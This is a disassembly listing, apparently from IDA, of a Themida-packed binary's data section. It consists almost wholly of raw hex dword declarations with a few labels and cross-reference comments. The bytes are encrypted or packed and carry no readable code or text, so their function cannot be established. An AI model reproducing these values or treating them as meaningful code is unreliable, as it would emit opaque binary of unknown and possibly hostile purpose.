8D8D7C4Fh, 61A6A75h dd 20A99D09h, 8D890614h, 6143229h, 7B3CB866h, 0DE9h, 93D69D00h dd 6B69A79h, 3F72CB36h, 85C7B45Ch, 614064Dh, 69CCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 55C35141h, 18313D48h dd 7185C724h, 61426h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0DBA4C355h, 5EBB412h dd 0E1B5FF9Dh, 6A061402h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 8185C351h, 3414B397h dd 0FE8B52EAh, 0FFF28B5Eh, 14236195h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 794527D0h, 97786D54h, 13E8h, 0F89E4D00h, 8901E160h dd 0BDDC0C76h, 0D8BFB08Fh, 0EC7A0B3Ch, 5FFE8A57h, 0FF006A58h dd 14116995h, 0EBC08B06h, 6DDC91Dh, 2F46E8E3h, 8FB77926h dd 0D715E72Ah, 0B1104F0Ch, 0FDC75646h, 9A87AC51h, 34E9FB74h dd 58000000h, 93568067h, 9DE61D8Ch, 6E2E81E8h, 6C6C6474h dd 6C6C642Eh, 0BD146700h, 0B98003B2h, 0FEh, 4 dup(0) dd 0E9000000h, 6EDh, 1A6C6A68h, 1341E906h, 1268FFFAh, 0E9061A6Dh dd 0FFFA1337h, 1A6DC068h, 132DE906h, 7868FFFAh, 0E9061A6Eh dd 0FFFA1323h, 1A6FA268h, 1319E906h, 7E68FFFAh, 0E9061A70h dd 0FFFA130Fh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh dd 7B030F61h, 0C528F75h, 41A8A358h, 1A11h, 0C4126800h dd 983E4BF7h, 0C90EDB23h, 0C1F048F4h, 0E7B99BB1h, 9A3E51F1h dd 131AD325h, 2E8F44A5h, 4A922A82h, 0CEB4BA82h, 0E251F1E7h dd 55EDCC05h, 41A6A0FEh, 3D6C7ADCh, 0E5E8F6F9h, 0DDF5C257h dd 4DC2F41Fh, 942CF1B4h, 0A31FD1E8h, 0C6066ACAh, 537BFF2Eh dd 573D430Bh, 0E45806C9h, 0DB03C9F2h, 723A42ACh, 6C9866Ch dd 2C121858h, 405806CAh, 0E22A5218h, 6C9F6DCh, 0B3E20A58h dd 6C98D6Fh, 0D4769858h, 90795825h, 6C9A48Ah, 0F890B858h dd 0E6B354Ch, 0ED5BD506h, 21070D55h, 3558060Eh, 0F372DE0Dh dd 0BF8D9CBh, 21Ch, 0D372D122h, 0A971B965h, 0F15F6DCh dd 51F1E829h, 4E7D153Dh, 0E501BF0Ah, 7A340B57h, 6FBCEBB4h dd 81A92D5Ch, 96B98CE0h, 58259BF2h, 39913D7Eh, 0EE92000Ah dd 0C29DA0A6h, 9C692227h, 7FD7833Ch, 2702128h, 0C9F8A5A8h dd 8D51D45h, 55BFEECFh, 0EB33DB49h, 3CAD18E5h, 0DE03EA28h dd 0CC8F2F34h, 0AF10C815h, 0D402CF17h, 1EB895E7h, 4A26BF9Dh dd 0AF996E52h, 4BBA1h, 5F607C00h, 1AA3300Dh, 0D4E7EBC8h dd 8930A582h, 407D5A37h, 0AD03B5EEh, 6441932Ah, 1DFA4C6Dh dd 0D5B204BBh, 5C68BA01h, 53E8CED4h, 1FC580Ch, 0F7C4129Ah dd 2DD13F4Bh, 908DFE5h, 0D6FE57E5h, 0F8DFAC84h, 92C119C5h dd 0DA48E746h, 0B221EE36h, 0A217BE0Bh, 1C676D73h, 0EA5DF923h dd 0E5B27AC2h, 0C61ECAF1h, 1A245A40h, 17466E5Eh, 3D5A2B8h dd 89B810BCh, 97DEB845h, 6A1684D4h, 0A191C22h, 3F67FCABh dd 75198793h, 6B5A272Dh, 42C02C0h, 0D6E9EFBCh, 2D4A1A7h dd 4C8A67B9h, 0DA5E916Fh, 8B7593CDh, 4137Dh, 7B82400h dd 0C2FBD8B5h, 7C3F9370h, 31884D2Ah, 0E8D502DFh, 555B5D96h dd 0CE93B82h, 0C5A2F4C5h, 7D5AAC13h, 4106259h, 5490767Ch dd 0A9A4580Ch, 874A1742h, 0DEF80332h, 0E841272Dh, 2D5551F1h dd 14E1E995h, 5E444AC3h, 7251F1E8h, 7983B24Ah, 151B630Bh dd 57E5EB82h, 8B32A16Eh, 0D45887DFh, 227FBFEDh, 26BE4922h dd 0E68AF8D4h, 88FE989Eh, 426A5DFFh, 12A92DFAh, 0C8F3E3C0h dd 0CCB2B880h, 0E05E2067h, 171F89B8h, 6863494Fh, 4F775E20h dd 0AB2A4AF8h, 1847E7A9h, 0A8F0A00Eh, 134333A2h, 43214964h dd 327D01B6h, 65394731h, 0D2000003h, 8663B50Ah, 411E704Dh dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h dd 5A657350h, 10AB2B08h, 242AB2BEh, 580C553Eh, 12F05752h dd 0D30138C4h, 966F0AE2h, 0D84652FEh, 5FDAE028h, 8D57E5A5h dd 0F4351365h, 8C000001h, 6AD865D1h, 2D787EC6h, 0FB57E501h dd 0BCDE32D3h, 0C6AAE118h, 33DFDEF9h, 76438EDBh, 394372CAh dd 13DB23CBh, 42F9270Dh, 0D2543B4Dh, 0CDC49347h, 171D4CE4h dd 36265E11h, 38E40C53h, 0CA12BE2Ch, 4BA6F7C4h, 0A8E2C959h dd 4261798Dh, 975FA73Fh, 128E71C0h, 0F625F485h, 7ED0EBEBh dd 0A88635A1h, 3D42B25Bh, 0ADA8B6A0h, 8A000002h, 3E1B6D52h dd 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh, 0A11CBBF5h dd 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h, 580C55F6h dd 17A80F0Ah, 5A7A8940h, 1A16CC55h, 943F962Ah, 0F2FD2CF9h dd 0C28FD7E4h, 765DAA0Fh, 0A2AE1847h, 77448C34h, 0C1A7AD60h dd 0D551F24Fh, 0E0E615ADh, 0E57103DAh, 93A07757h, 39447474h dd 89B13564h, 5B647441h, 93FE1C2Ch, 73963B08h, 6DE876Dh dd 0DB739B58h, 8C34A2ACh, 0F8F33E44h, 0E4C15DF9h, 1522CEEFh dd 0CB63FBC2h, 853D142Ah, 2D805CB8h, 0D4ADF120h, 3CEABDACh dd 2958636Fh, 0C50DB11Fh, 0F0A80CBFh, 6A7038F2h, 0F311A884h dd 0BD417098h, 14E1E995h, 0F64EFAC3h, 0A7C2A8AEh, 0AED6F311h dd 0A207757Fh, 0A6EE8633h, 0D89907DEh, 405C6078h, 1172D4BAh dd 91C0E8F3h, 0F3B8858Bh, 628AF905h, 664C521Ah, 7AF928F3h dd 551D2352h, 0F2A1878Dh, 0A32EF928h, 4C126A16h, 0ECEAF524h dd 9CB087CFh, 6EF845BFh, 21F28799h, 0E97749CAh, 9CDAABAh dd 6839D4B2h, 0ECD69D87h, 183DEh, 9728B400h, 526B6845h dd 0CAF2300h, 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h dd 55328435h, 0DEA3C83h, 94A0F2C9h, 5720060Ch, 3934580Ch dd 0F7C412D2h, 2DD13F4Bh, 82501DE5h, 0C06C4D84h, 0CC24D068h dd 0EBC6599Dh, 0E5B257E5h, 0FFBE19EDh, 0B763FB53h, 84AC305Fh dd 55686F3Ch, 175D1626h, 8603FD40h, 3463094Fh, 0CC14BC2Ah dd 0EC5932C6h, 12C5A257h, 2FDBE0F6h, 5FA73FD7h, 0A9B84492h dd 4F94A62h, 926FC159h, 0BFCB7744h, 8E65AD51h, 2DE75F3Ah dd 8E94C354h, 7060688h, 0E22A525Eh, 0CDFCC315h, 0DFDCFAC7h dd 0E3C9CF97h, 0F75E27E4h, 0B390A0CFh, 0E0EC9823h, 0DBB70F72h dd 18AF886Eh, 1BB306CBh, 0EECB06D3h, 54B3B9BFh, 4A641A8Dh dd 0D7D34422h, 66503275h, 0A758h, 734C9000h, 2E8F4421h dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h dd 310E6059h, 0E9C618A7h, 707CCEEDh, 57FCE2E8h, 1510580Ch dd 8B4A17AEh, 0FB2A822Eh, 93DB83F1h, 17FD03CBh, 2B51F1E8h dd 0E8674D53h, 537B51F1h, 0BA488CBBh, 0E57EB73h, 6B17A631h dd 66337B13h, 0B721506Dh, 3D8F2CAAh, 99457660h, 85881253h dd 0CA88EC06h, 0C517A432h, 0FF716EDh, 0A72E072Ch, 52696D78h dd 0BC42330Ah, 0BEF12E23h, 0BD18258Fh, 59FB50FCh, 0E8D30339h dd 0E0F1BE96h, 0A6D52DD9h, 0D4803B9Bh, 3C6h, 7DE41D00h dd 49F5CA12h, 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h dd 2CD8E5F2h, 5703B61Fh, 8733884Ah, 0B864597Ah, 4EC8333h dd 89243C89h, 4C781E7h, 83000000h, 3C8704EFh, 91685C24h dd 8900004Dh, 0BB68242Ch, 89000020h, 0EC81240Ch, 4, 0BA241489h dd 61A6B11h, 545AD589h, 83240C8Bh, 895304C4h, 418F53EBh dd 0C8B5B08h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 242C8B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h dd 0FFFA0C63h, 8639CC3h, 714AB850h, 0C503061Ah, 0C0F9E0FFh dd 0AE2A63FEh, 562143E6h, 8C7069C2h, 9F161AEBh, 69D23C81h dd 1877059Dh, 0E8D64C8Ah, 6E954FE5h, 59815E5Eh, 1B072074h dd 0C52B7B0Ah, 8953578Eh, 95C7468Bh, 0BE9014FFh, 0AE85D63h dd 84000000h, 1B585DAAh, 268C4EE8h, 0F7816688h, 0F95ADBBDh dd 5ED8C281h, 0A0B80000h, 6867C4B3h, 1798h, 4DDF081h, 815E17D2h dd 3FCF61F7h, 0E932FF2Bh, 0Eh, 0D6AB66D8h, 0DA736421h dd 4F3FDBAFh, 805B9D8Dh, 0F3813BEDh, 0D7BDEF3h, 0B1D8B966h dd 7240F381h, 0EB8117C7h, 1470DE27h, 0CE9h, 2DB54F00h dd 232BF7B6h, 0AC7E0AF0h, 0FC1A892Ah, 0F504EA83h, 0B2850F4Eh dd 0E9FFFFFFh, 24h, 3B2D332Ah, 8 dup(0) dd 558E9h, 73CE6800h, 60E9061Ah, 68FFFA0Bh, 61A7459h, 0FA0B56E9h dd 75F468FFh, 4CE9061Ah, 0E6FFFA0Bh, 9A77C9F6h, 55328439h dd 0FEC3E7Dh, 0C4A1F3C6h, 1F58AA13h, 0FDC01799h, 0B603CEABh dd 6E518764h, 24973F1Ch, 383EC6D2h, 580C5A52h, 12046B66h dd 444CF8C5h, 2F5E6177h, 5359B224h, 51F1E86Dh, 6FC15981h dd 31792593h, 4EA89269h, 4D6E5379h, 5D19FF05h, 52D51F2h dd 91D392D6h, 618957E5h, 708D6FB5h, 76985806h, 68A6BFD4h dd 0EBB8F8D9h, 33191FEAh, 4758067Dh, 0F258871Fh, 34Bh dd 874A1709h, 0E7967C82h, 82AA51F1h, 0B7E63EEAh, 0FA68056Bh dd 0BD080E56h, 8B57E501h, 36EC263h, 8FB52868h, 68DBC1C7h dd 17EF556Bh, 6B692B11h, 7F173F55h, 694B3137h, 375F556Bh dd 0E090FE08h, 0B508CB98h, 7C82B109h, 5E994F76h, 11BDE55Bh dd 9FE79705h, 72B4A499h, 50875461h, 92BA3E6Dh, 62597D4Ah dd 36854D1Ah, 0BC1AF707h, 98A521FFh, 0F2DC351Dh, 383E4h dd 0C3FCE000h, 7E3F9471h, 38834F2Ch, 0EDCC09E6h, 0A419BE9Bh dd 119F1952h, 0C8A5F7C6h, 815EB009h, 39166857h, 0C0CC1E9Dh dd 5B4C3238h, 6560580Ch, 494F17FEh, 51F1E863h, 813E9A77h dd 0B6E57DD5h, 15E23EACh, 9076FCC3h, 0A451F1E7h, 18A32F7Ch dd 0BF323880h dword_5B0000 dd 6B57EB7Bh, 0DB87349Eh, 0F3D05483h, 0FC44DCDFh, 4D706734h ; DATA XREF: Themida_:00549FFCo dd 0F1A49A1h, 0C6A3F5C8h, 0BA00AC11h, 580C5AD9h, 4B8C7A5Ch dd 0D66EC672h, 0A4F2D8F8h, 0C5D3BD3Eh, 2F8h, 0FC4E716Bh dd 0B709B41Fh, 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h dd 7E533082h, 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0C5BD7BDh dd 89F0EB58h, 2E8B4A17h, 8E747A82h, 0A251F1E7h, 0A9B3E27Ah dd 834B933Bh, 0B74DE4BBh, 0C2483E1Eh, 0F28F563Ch, 0F5426A51h dd 6CB0DFDEh, 57EC22F9h, 4B53FF27h, 29AE587Eh, 0F850FC94h dd 1A385C9h, 8CAE580Dh, 0D390D5CEh, 0CC6EF8D2h, 66000001h dd 964B4F8Fh, 0E6155F9Dh, 0F7C412FFh, 64983E4Bh, 1E27FA46h dd 0E610F70Fh, 57653990h, 0FDD92BC3h, 12A72A8Fh, 225B327Ah dd 9D9903DFh, 0ECF2F827h, 57E5A359h, 0ADF39FC7h, 580682CBh dd 9E3300D6h, 0E8176F1Bh, 6E45F496h, 30522E91h, 1581B0F6h dd 0F8D97850h, 32AEh, 0FED9A600h, 56EECB0Ah, 0A5134027h dd 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h, 8A52E7A3h dd 6029E84h, 5B8AB258h, 0D9D676EFh, 0DF88F8h, 179F0000h dd 0E863494Fh, 4F7751F1h, 0FAC11520h, 5A79464Eh, 0AE293463h dd 8056630Fh, 0B026F33Bh, 6A72DC0Bh, 0DB87369Dh, 8D495483h dd 6C6DC2Eh, 4C51F1EDh, 47A6AA75h, 67B4F01Ch, 4CA4506Bh dd 42C4121Dh, 5F5A7791h, 2BC31BC7h, 0BD16E3h, 0BDCDFC54h dd 83CB73E1h, 0E72BE47Dh, 0D8FFCC57h, 0A32B6E5h, 2C32FAC2h dd 58090B46h, 65547D5Ah, 44939ECDh, 0ADDC3C9h, 0C9F15809h dd 3F07DF31h, 90B5339h, 103F6758h, 0DEBD205h, 3EA842CDh dd 5DE4F2DCh, 6000001h, 0BA97E9D6h, 7552A419h, 2F0C5E5Dh dd 0E4C113A6h, 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h dd 44775F3Ch, 585EE6F2h, 580C5D72h, 12248B86h, 55DC39C5h dd 0C1B13F9Dh, 0BE14E129h, 0ACF951FDh, 5262912Ah, 85A6175h dd 42C4124Fh, 1AD02794h, 2551CBCDh, 470F57EFh, 0F2A35B41h dd 18476F51h, 8635A1AEh, 46EA5834h, 0F8DF8FEh, 511957E6h dd 6F1654Bh, 22517958h, 612E769Eh, 429A4675h, 97400D13h dd 2FFCD426h, 0A4E817A2h, 5806F0C2h, 0DA2C8F47h, 37E3DAFDh dd 0BF29h, 44946100h, 0F0DFC5CBh, 0CBF35806h, 131D0433h dd 0E9B1F9A5h, 1608D512h, 62911611h, 0EC709F1Eh, 0F7FDD557h dd 580D5011h, 0B965FD25h, 0D866DAB1h, 0ADA3DC43h, 0DE3406ADh dd 87B64E07h, 0F615A7Ch, 506D6A37h, 121D4CA4h, 434BF7C4h dd 0C38F757Bh, 7BA3580Dh, 2E99084Ch, 5BBF72E2h, 3C420A3Fh dd 95451056h, 813426Ah, 0D8A5EDCEh, 8393C2FBh, 438B30A6h dd 0F8F757Bh, 7BA39545h, 3DAE24Ch, 83612F80h, 0E3EE1DF0h dd 0B27FC7F2h, 0FD679623h, 0B04406A8h, 0C5F6E026h, 0E129C119h dd 0C458270Ah, 0E41362B3h, 2E34FCD4h, 95456A48h, 0FA05345Ch dd 0CA97DFDCh, 1680AF0Ch, 308h, 7DE45F00h, 49F5CA12h, 75219A3Ch dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh dd 8733884Ah, 0B864597Ah, 4EC8333h, 55242489h, 4BDh, 246C0100h dd 89525D04h dword_5B0368 dd 4C281E2h, 83000000h, 148704EAh, 34895C24h, 0E1895124h ; DATA XREF: Themida_:005534E4o dd 4C181h, 0E9830000h, 240C8704h, 242C895Ch, 43ECBF57h dd 38BE372Ch, 31313631h, 243C8BFEh, 8104C483h, 4ECh, 24248900h dd 4240481h, 5D000000h, 59BB5356h, 2933A40Fh, 5B04245Ch dd 8108458Fh, 0F590845h, 34FF33A4h, 0C4815D24h, 4, 5E2434FFh dd 4C481h, 20E90000h, 49FFFA06h, 335ACC31h, 0E759251Bh dd 41FCBC5Ah, 7776B807h, 0C503061Ah, 28D6E0FFh, 2ED5069Ch dd 32AA0E59h, 93640680h, 0A7426C7Fh, 0FA453796h, 0FE160544h dd 269D244Bh, 0F4044BD2h, 0C5001476h, 5F666771h, 28830905h dd 0C4264F09h, 9E757334h, 1D657C8Fh, 541C3150h, 5E85C0Eh dd 2000000h, 4E564F22h, 0CE9h, 4C6C6100h, 1694C375h, 0F99B098Eh dd 0E9805883h, 4CC081E2h, 66000068h, 0FF2BCA8Bh, 8BCE8B66h dd 820F381Ch, 3, 81D38B66h, 0B145BBC3h, 0ABC3814Eh, 805B6F21h dd 0F3818CF2h, 2D7E4F15h, 0E0B953FCh, 8F6337EDh, 0F08A3804h dd 0F60CEF81h, 0D28104F9h, 21149F7Ah, 0F608C781h, 0BA6604F9h dd 0FF81053Dh, 0FFFF985Ch, 26850Fh, 0BE90000h, 1F000000h dd 838CA18Ch, 1BA6E3C4h, 20E9696Eh, 80000000h, 90AC6CC1h dd 412A9947h, 9BE009A5h, 61928106h, 0E9D18B66h, 0FFFFFF83h dd 8660A79Eh, 53DFF07Eh, 5DB17DC7h, 0AEB121BFh, 3FA82556h dd 0FF39AC0Bh, 0A0ABA5B4h, 594C7B77h, 7889F62Ch, 0B8F43256h dd 95B13256h, 269DB727h, 0BED13256h, 0ABB13242h, 868CD0DCh dd 88DAB347h, 0F250DC53h, 38580CEFh, 3856C8E9h, 0FC48E5D7h dd 7FD02E9Eh, 0ABB37764h, 0DF393256h, 480C9B0h, 75CA9303h dd 0BAB1CB56h, 5DA2BE59h, 28BE3256h, 57B1325Bh, 0ABB13ABFh dd 88EF4356h, 70349D32h, 9CB1323Ch, 0BAB13258h, 0C3171E2Dh dd 95F25B55h, 96EBF8B0h, 0ABB1ED50h, 0C063D36h, 0EAD0E4DDh dd 6F0AC756h, 2A7B320Ch, 53580AC9h, 0CB13256h, 62D683E5h dd 311CCDD5h, 95BAE0D4h, 0EAB15399h, 1461B936h, 0BAEAC1CBh dd 0E8B13256h, 0C82BBB0Bh, 0B3141853h, 9E215877h, 3C987390h dd 3AF035Dh, 75B1325Bh, 8FF5C59Fh, 3DBDC894h, 0DBB872A3h dd 0BEB13288h, 0ABB13247h, 0C337FA59h, 0F6C577CEh, 53560765h dd 957DA677h, 3DB132DAh, 0EC998930h, 58B13237h, 0ABB12ADEh dd 0D5A2DB56h, 3BE33256h, 22DE573h, 0EAF41E26h, 62B95AA8h dd 0A80FEDC4h, 0ABB132D8h, 0CB4D3256h, 0D5B134BFh, 95BACD56h dd 0F5A52902h, 0BAD02F93h, 5DA2DB56h, 40953256h, 0FD93CD84h dd 0C9A44A5Dh, 690DA8E9h, 9BC00EA8h, 89B1323Ah, 0BF583256h dd 6CB13256h, 0B97C2423h, 0BFD13256h, 0ABB1325Fh, 0B74C2C40h dd 60ED4701h, 73586A27h, 3B13256h, 0A9B318C6h, 0AEB153E4h dd 0BEB132AAh, 0ABB13242h, 233B1956h, 16B7FE0Bh, 1958F2A5h dd 4ADAAD42h, 141906F4h, 0AE4D3256h, 51595256h, 1B13256h dd 449EF5BEh, 0EA333D01h, 2CB13256h, 0BAA5BB59h, 53593256h dd 0EBB13256h, 3CD9F54Dh, 0A61111CDh, 188E5BF1h, 0EAD06CF0h dd 64585256h, 0EB13256h, 591F25EBh, 7687F0Dh, 8930A8B4h dd 83288775h, 0D5B13DBEh, 2DAE556h, 40FB6BE8h, 765C3B3Eh dd 9AD0A2E0h, 765EB330h, 57D06B87h, 0ABB1CB56h, 0D5ADB559h dd 53D13256h, 4F2637AEh, 0BAB122BFh, 0E40C7C56h, 986C8B62h dd 50A0D3C6h, 115B986Dh, 0D5B1535Ah, 0EAB13DBFh, 0CE5B8756h dd 0E656C9CAh, 7F50910Ah, 0EA5D353Ah, 5F583256h, 55B13256h dd 8238823Fh, 0EA4D6694h, 62303D56h, 53B13256h, 5DB13244h dd 8057A588h, 46FC1160h, 0CF95FE6Dh, 51694542h, 0EAB15259h dd 75B8B759h, 0D13256h, 37EAE76Fh, 0AED05336h, 5D343D56h dd 0CBB13256h, 0D5B1B659h, 0B4E73256h, 75B13037h, 0BAB13256h dd 0D46F5522h, 845EC6D3h, 5741E111h, 0AA3C3D56h, 29B13256h dd 0EABB3581h, 75AC3257h, 0BAB6325Ch, 5D8F3243h, 86D4DBD7h dd 57B1CA37h, 0CBB132AEh, 0D5B153AEh, 98958836h, 1448549Ch dd 0BA493256h, 5DB1CE56h, 0AEB13ABFh, 0E5AB7056h, 16BA0729h dd 9CB13202h, 66BE3254h, 75B1325Bh, 82A78936h, 9E3070A0h dd 0DA9A31E7h, 1EB13237h, 0ABB13254h, 2EEA9844h, 8C820502h dd 0D5819E5Ah, 0BAB10086h, 5DA4B659h, 0BE583256h, 46B13256h dd 2C5958FFh, 93C6E10h, 0D015237Ah, 0E52DF99Eh, 0A8586006h dd 0FB13256h, 30681275h, 0FD247E29h, 0DDA00ACDh, 0D7FCD621h dd 8A803D45h, 75B138BEh, 0D23A6856h, 49D614D7h, 0F7B280EBh dd 364F8D59h, 0FBE16A0Ch, 0B5E36204h, 0BA803D37h, 2F803D04h dd 0B5E9680Eh, 0B23B5267h, 0F4D0C7DCh, 1190A20Eh, 79EC0651h dd 0CB69B2F5h, 0EAB126BFh, 5FA4FE56h, 4C208A4Dh, 0DF7C56A1h dd 6078E2C5h, 8D34CEB9h, 422DAF5Dh, 0D5B1325Dh, 0D88CA6B1h dd 0B8832D5h, 3A441E89h, 5B582A9Ah, 0F8B13256h, 0B51CF681h dd 0F1D0AF25h, 87E1A40Eh, 0EAB135BFh, 0CC313156h, 0CF1D6DA8h dd 0FE10359h, 0AEB13BBFh, 0A4D31F56h, 0E41F1BE6h, 0E4BED78Ah dd 0B2EB5336h, 2DE96A0Ch, 3BE96A0Ch, 0B4BC4CB0h, 0AEB13242h dd 0AC3BC77Ah, 7CE7434Eh, 0A6539F92h, 259F9B66h, 9E8B570Ah dd 31D764CBh, 5D069A4h, 0D414AE59h, 0DD0AF7Dh, 8FF5BB0Eh dd 263A5252h, 2AAF8D30h, 25EB6A37h, 5893F0EDh, 5D0686Eh dd 0FEE6BBBh, 57506F0Bh, 0ABA2DB56h, 1C23256h, 53490FEFh dd 5832B10Fh, 0E0B464F2h, 0DDD08184h, 0A1B1327Ah, 57B13ADAh dd 0A93C3D56h, 0B5B13256h, 61D75237h, 75B1538Fh, 0BAB137BFh dd 413B1B56h, 0AEB129DFh, 57BAB859h, 0CDD13256h, 0F3E2FCD7h dd 86738830h, 7AB13237h, 0BAB135DAh, 5C3C3D56h, 56B13256h dd 0BE4D3256h, 0ABB13246h, 0EC680FB6h, 0A2D814C9h, 0C8D44ED7h dd 7195AC8h, 5D483256h, 0A2313D56h, 0BEB13256h, 0ABB13251h dd 1BD72742h, 0E5F186E7h, 75B133D0h, 0BAB1CB56h, 5DBFB659h dd 0A7583256h, 71B13256h, 0C57AD096h, 63FAF34Fh, 62BE3256h dd 75B13258h, 0C26EB336h, 0DCF6BBB9h, 5DAD5485h, 57B1533Eh dd 0ABB13FBFh, 16969C56h, 9C61D698h, 0B920B03h, 0BAB1EFDDh dd 5DA7B259h, 2BBE3256h, 57B13246h, 0ABB139BFh, 0FF1EF156h dd 87C70AD1h, 0ADBFE7C4h, 536DB836h, 5DB1325Fh, 0C402DFB0h dd 3CA3228Ch, 0ABB153F3h, 0D5B13BBFh, 0FC274C56h, 0DC3C91BEh dd 0BAB15C48h, 5DBADB36h, 78B73256h, 0D9502500h, 530140F4h dd 0D33F3DE4h, 0E5B13256h, 75B132D5h, 0BAB15356h, 0B4B132A3h dd 0AEB13245h, 0E615F4Ah, 0C04F97B2h, 0E26503F7h, 83CA06E5h dd 9C96B4DDh, 0BAB1325Fh, 4295973Ch, 8923A57Ch, 0BEB132A1h dd 0ABB1325Fh, 71C682E1h, 69687506h, 89B13255h, 0BAB122BFh dd 0C23FA656h, 5C76E773h, 3DC246C4h, 8377F84Ch, 0B5B132DFh dd 34AB930h, 75B13251h, 34A89787h, 3C2A69DCh, 47B132AEh dd 57B1325Bh, 6904F028h, 0D3996F2Ch, 0F2B78216h, 9CB132B5h dd 0BAB1325Ah, 0CA6EB3ABh, 10A7B6A7h, 85FE4CA9h, 0ABB0B159h dd 0D5493256h, 5CD15256h, 75393D64h, 0DBB13256h, 52B13237h dd 0AEB133D1h, 5E58CB56h, 0FCB13256h, 0E931E351h, 0B8DD4DC5h dd 7F583256h, 0FBB13256h, 7DE20448h, 0C287DDDh, 58B132D5h dd 0ABB122DBh, 0D5BADB56h, 0D88B3256h, 5A244EC7h, 9BF3DA29h dd 0B4B132CEh, 0AEB13245h, 7D0AEA02h, 0D1B0F2CDh, 0DD5F084Ch dd 0B2F26AA3h, 7587AA47h, 0BABADB56h dd 0E7073256h, 22EC0496h, 29CA61C9h, 42B132C5h, 0D5B1325Eh dd 6C084DD0h, 7F7A1CE3h, 0BC583256h, 2EB13256h, 336B9BF7h dd 0AFB132F6h, 0AB483256h, 0C1313D56h, 0E5B13256h, 75B13CD3h dd 0BAB8DB56h, 67BD3256h, 5C1AD0B6h, 573ADFD8h, 0A158CB56h dd 0E7B13256h, 1DDA86C4h, 0F570FE10h, 0B5B1321Ah, 5DB121DCh dd 0A3323D56h, 0BEB13256h, 0ABB1325Eh, 58F0F084h, 0DAA91FB9h dd 7AD13256h, 0BAB130D2h, 0D67AB956h, 0AEB15391h, 57B6B359h dd 29BE3256h, 0D5B13257h, 61D152A3h, 75303D9Ch, 0DBB13256h dd 0CA038DE8h, 0AEB15322h, 57A5B859h, 0A4583256h, 97B13256h dd 130B8B1Dh, 60E1509Ah, 6B0F02DCh, 5D48204Fh, 0B2373D56h dd 37B13256h, 43678559h, 0D5B13247h, 0FC322405h, 5DBB70A5h dd 0BD3EF82Bh, 7529F18Fh, 0AED06BADh, 57B4DB56h, 0F6DD3256h dd 0D54597ECh, 0EABBDB56h, 7DA93256h, 0D55CD899h, 39C9760Ah dd 0AEB135BFh, 0BB1F3D56h, 0B3E7734Bh, 0C6583256h, 0DBB13256h dd 0B63EF41Dh, 0FC3DDC60h, 0C305650Dh, 5F025097h, 57B17A9Eh dd 0ABAFBD59h, 3CD13256h, 0EAB13242h, 145FB79Dh, 0F5AE1DE3h dd 0A52AB0BBh, 4B0FEE21h, 0E9CAA10Eh, 0CA688559h, 5F3A8236h dd 0EAB153AAh, 89B132A3h, 38BE3256h, 5DB13243h, 0AEBEB459h dd 5D583256h, 9EB13256h, 0F594E25Fh, 92BEBE3Bh, 9CB1325Fh dd 0BAB13244h, 0A7699FF3h, 2463293Ch, 0F673C0C1h, 8B225DBCh dd 0D5B1869Dh, 0EAB134BFh, 471A9056h, 0BAE2C96Eh, 5A3F3D56h dd 0CEB13256h, 37718559h, 0ABB15337h, 0D5B8DBA3h, 3FE73256h dd 0D55CA77Ch, 0BA3757A1h, 0E5D75256h, 0AED04601h, 0EFD75256h dd 23BE6138h, 0D5B1325Dh, 0EAB134BFh, 258C1356h, 0DB908A50h dd 3BD13256h, 4030CBDDh, 3C122121h, 5A305237h, 0FE610979h dd 0E5B13237h, 75B133D1h, 35BECA56h, 5DB13257h, 5BB132AEh dd 57BAB759h, 0CDD13256h, 5FBEF9DDh, 0EAB13256h, 7AB13237h dd 0BAB124D0h, 4D363D56h, 47B13256h, 57B1325Dh, 8C768231h dd 0EB328C84h, 0EAF7A625h, 723C3D56h, 0B5B13256h, 5DB133DCh dd 0AEB1CA56h, 57B4B759h, 0A4D13256h, 0D5D0C1E9h, 0A6035256h dd 75B122BFh, 5B1E7256h, 0FAA9C8A0h, 2927F39Ch, 0D347D102h dd 0ABB153CBh, 0D5B13EBFh, 0B305EA56h, 6C70E566h, 0FECD18B4h dd 3DB1324Eh, 4B5AB330h, 1158B35Dh, 0CAF363CBh, 0B3D13256h dd 8C4B9EEDh, 14CDE6EDh, 0BA493256h, 48303D56h, 47B13256h dd 57B13246h, 975DAD69h, 282F0A89h, 0E9AC54B4h, 0EA09D6A0h dd 0BA493256h, 5DB1CB56h, 0AEBABD59h, 31D13256h, 4930E3DDh dd 0E0B2460Dh, 53D15237h, 1CEE877Ah, 0BAB1B059h, 52D03256h dd 0AEB13FD2h, 57B9DB56h, 1C553256h, 12780AC6h, 0EAD062A0h dd 64323D56h, 53B13256h, 5DB1325Ah, 337115B3h, 1D0D7AC8h dd 8F0E5EECh, 5ABE3256h, 0EAB1325Eh, 75B3BE59h, 0DBD13256h dd 54583256h, 5B13256h, 31C914AAh, 4571F09Dh, 5CBE3256h dd 0EAB13257h, 7AB132AEh, 0BAB124DEh, 5DA0DB56h, 29623256h dd 259DD55Dh, 0E41C20BCh, 38664EDDh, 0EA8CA14Ch, 75B1CE56h dd 46B132AAh, 0D9BE3256h, 0AEB1324Bh, 57A6B259h, 0B9583256h dd 3FB13256h, 77BFB225h, 19FBF49Ah, 0E8EBB739h, 17619A93h dd 0A1B13220h, 57B13CD1h, 